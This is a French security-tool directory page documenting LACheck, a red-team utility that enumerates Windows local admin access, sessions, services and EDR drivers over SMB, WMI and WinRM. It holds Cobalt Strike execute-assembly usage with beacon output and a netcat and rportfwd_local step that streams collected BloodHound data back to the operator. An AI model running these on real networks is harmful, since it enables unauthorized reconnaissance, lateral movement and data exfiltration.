Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
LACheck — Assembly multithreadé en C# .NET pour énumérer les privilèges administratifs locaux sur les hôtes Windows via SMB, WMI et WinRM, avec intégration BloodHound pour la reconnaissance Active Directory. | Kitploit
Outils/GitHubGitHub/mitchmoser/lacheck
Escalade de PrivilègesReconnaissanceMouvement LatéralCollecte d'InformationsTests d'IntrusionRed Teaming
GitHubmitchmoser/lacheck

LACheck

Assembly multithreadé en C# .NET pour énumérer les privilèges administratifs locaux sur les hôtes Windows via SMB, WMI et WinRM, avec intégration BloodHound pour la reconnaissance Active Directory.

Voir le dépôt
9315il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

LACheck

Assemblage .NET C# multithreadé pour l'énumération des privilèges administratifs locaux

Arguments

root@kitploit:~
> ./LACheck.exe help
  _                  _____ _               _
 | |        /\      / ____| |             | |
 | |       /  \    | |    | |__   ___  ___| | __
 | |      / /\ \   | |    | '_ \ / _ \/ __| |/ /
 | |____ / ____ \  | |____| | | |  __/ (__|   <
 |______/_/    \_\  \_____|_| |_|\___|\___|_|\_\

Usage:
    LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]

Vérifications d'administration locale :
    smb   - Tente d'accéder au partage C$
    rpc   - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via RPC
    winrm - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via une session WinRM

Arguments :
    /bloodhound - Génère un fichier de collecte AdminTo et Session compatible BloodHound
                  le fichier de sortie est zippé et crypté avec un nom et un mot de passe aléatoires
    /dc         - Spécifie le contrôleur de domaine à interroger (si non exécuté sur une machine jointe au domaine)
    /domain     - Spécifie le nom de domaine (si non exécuté sur une machine jointe au domaine)
    /edr        - Vérifie la présence d'un EDR sur la machine (nécessite smb, rpc ou winrm)
    /logons     - Retourne les utilisateurs connectés sur une machine (nécessite smb, rpc ou winrm)
    /registry   - Énumère les sessions à partir de la ruche du registre (nécessite smb)
    /services   - Retourne les services exécutés en tant qu'utilisateurs (nécessite smb, rpc ou winrm)
    /socket     - Envoie la sortie BloodHound vers un socket TCP au lieu d'écrire sur le disque
                  ex : "127.0.0.1:8080"
    /targets    - Liste séparée par des virgules des noms de machines à vérifier
    /threads    - Spécifie le nombre maximal de threads parallèles (par défaut=25)
    /user       - Spécifie le nom d'utilisateur sous lequel la collecte a été effectuée (utile lors de manipulation de jetons)
    /validate   - Vérifie les informations d'identification contre le domaine avant d'analyser les cibles (utile lors de manipulation de jetons)
    /verbose    - Affiche des informations de journalisation supplémentaires
    /ou         - Spécifie l'unité d'organisation LDAP pour interroger les objets ordinateur activés
                  ex : "OU=Special Servers,DC=example,DC=local"
    /ldap - Interroge les machines à partir des filtres LDAP suivants :
         :all - Tous les ordinateurs activés avec le groupe 'primary' 'Domain Computers'
         :dc  - Tous les contrôleurs de domaine activés (hors contrôleurs en lecture seule)
         :exclude-dc - Tous les ordinateurs activés qui ne sont pas des contrôleurs de domaine ou des contrôleurs en lecture seule
         :servers - Tous les serveurs activés
         :servers-exclude-dc - Tous les serveurs activés, à l'exclusion des contrôleurs de domaine ou des contrôleurs en lecture seule

Exécution de l'assemblage

root@kitploit:~
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose

Sortie

root@kitploit:~
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
        rpc: True
        smb: True
        winrm: True
        /bloodhound: False
        /edr: False
        /logons: True
        /registry: False
        /services: False
        /ldap: servers-exclude-dc
        /ou:
        /targets:
        /threads: 10
        /user: svcadmin
        /validate: False
        /verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00  (svcadmin)
[session] WEB01 - contoso\devadmin  4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10  as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.

Authentification WinRM

Comme le montre l'exemple de sortie ci-dessus, tenter de vérifier WinRM sur la machine à l'adresse IP 10.10.10.10 générera une erreur car le client WinRM ne tente pas de s'authentifier auprès d'une machine via une adresse IP.

Utilisez des noms de machine lorsque vous tentez de vérifier l'accès WinRM.

Spécification des cibles

Les indicateurs /targets, /ldap et /ou peuvent tous être utilisés ensemble ou séparément pour générer une liste de machines à énumérer.

Toutes les machines retournées par ces indicateurs sont combinées et dédoublonnées avant le début de l'énumération.

BloodHound

LACheck prend en charge l'écriture des collectes AdminTo et Session dans une sortie JSON qui peut être téléchargée dans BloodHound.

Cette sortie est uniquement destinée à compléter une collecte BloodHound existante avec des privilèges administratifs mis à jour pour un seul utilisateur et des sessions collectées à partir de machines pour lesquelles des privilèges administratifs ont été identifiés.

Le commutateur /bloodhound écrira un fichier zip crypté nommé aléatoirement sur le disque, qui peut être téléchargé, extrait et téléchargé dans BloodHound.

/user

BloodHound nécessite de résoudre les utilisateurs et les machines en SID. En raison de techniques d'usurpation telles que make_token et kerberos_ticket_use de Cobalt Strike, LACheck peut ne pas être en mesure de déterminer avec précision le contexte utilisateur pour une collecte. L'argument /user est requis pour fournir à LACheck le userprincipalname (format = [email protected]) du contexte sous lequel il est exécuté afin de corréler avec précision les informations de la collecte.

/socket

La sortie BloodHound peut être envoyée vers un socket TCP au lieu d'être écrite sur le disque.

Si la connexion TCP échoue, la sortie BloodHound sera écrite sur le disque.

Dans une sonde Cobalt Strike, les connexions TCP peuvent être transférées d'une machine vers la machine locale de l'opérateur à l'aide de rportfwd_local :

root@kitploit:~
rportfwd_local 8888 127.0.0.1 8888

Un opérateur peut ensuite rediriger la sortie du flux TCP vers un fichier local en utilisant netcat :

root@kitploit:~
nc -lvnp 8888 > computers.json

Méthodes d'énumération

Résumé des performances

- = non implémenté

SMB

/edr

Inspiré du script EDR.cna de harleyQu1nn

La méthode Directory.GetFiles retourne une liste de pilotes depuis :

  • \\host\C$\windows\system32\drivers
  • \\host\C$\windows\sysnative\drivers

Les pilotes sont comparés à une liste de pilotes connus utilisés par les fournisseurs d'EDR.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

NetWkstaUserEnum retourne une liste d'utilisateurs avec des connexions interactives, de service et par lots.

WTSEnumerateSessionsA retourne une liste de sessions RDP sur une machine.

WTSQuerySessionInformationA récupère des informations détaillées pour chaque session RDP.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00  (svcadmin)

/registry

Parcourt les SID dans la ruche \\Computer\HKEY_USERS\, tente d'accéder à Volatile Environment pour chaque SID, et récupère les valeurs des clés USERDOMAIN et USERNAME.

Cette méthode nécessite que le service Remote Registry soit en cours d'exécution sur la machine distante. Si ce n'est pas le cas :

  1. le type de démarrage initial du service Remote Registry est enregistré
  2. le type de démarrage est changé en Automatic
  3. le service Remote Registry est démarré
  4. les ruches du registre sont énumérées
  5. le service Remote Registry est arrêté
  6. le type de démarrage est rétabli à sa valeur enregistrée initiale

En raison du processus potentiellement multi-étapes pour énumérer chaque machine, cette méthode peut être plus lente que les autres techniques. smb /logons est plus rapide.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[registry] WEB01 - contoso\devadmin (svcadmin)

/services

La méthode ServiceController.GetServices récupère une liste de services sur une machine.

Chaque service est interrogé pour déterminer l'utilisateur sous lequel il est configuré pour s'exécuter.

En raison de la nécessité d'interroger chaque service individuellement, cette méthode peut être plus lente que les autres techniques. wmi /services est plus rapide.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WMI

/edr

Inspiré du script EDR.cna de harleyQu1nn

La classe CIM_DataFile retourne une liste de pilotes depuis :

  • \host\C$\windows\system32\drivers
  • \host\C$\windows\sysnative\drivers

Les pilotes sont comparés à une liste de pilotes connus utilisés par les fournisseurs d'EDR.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)

/logons

La classe Win32_LoggedOnUser retourne une liste des sessions connectées. La classe Win32_LogonSession retourne des informations détaillées pour chaque session.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[session] WEB01 - contoso\devadmin  4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)

/registry

Interroge la classe Win32_UserProfile pour récupérer les SID des profils utilisateur sur un système.

La méthode EnumKey de la classe StdRegProv récupère la ruche \\Computer\HKEY_USERS\ et tente d'accéder à Volatile Environment pour chaque SID retourné afin de récupérer les valeurs des clés USERDOMAIN et USERNAME.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[registry] WEB01 - contoso\devadmin (svcadmin)

/services

Interroge la classe Win32_Service pour récupérer le nom, l'utilisateur et l'état des services.

Exemple de sortie exécutée en tant qu'utilisateur svcadmin

root@kitploit:~
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)

WinRM

Chaque vérification WMI est également implémentée en utilisant Ressources WMI et Énumération WMI via WinRM.

Cela évite l'utilisation d'espaces d'exécution PowerShell.

Télécharger l’outil
SMBWMIWinRM
/edrrapiderapiderapide
/logonsrapiderapiderapide
/serviceslentrapiderapide
/registrylentrapide-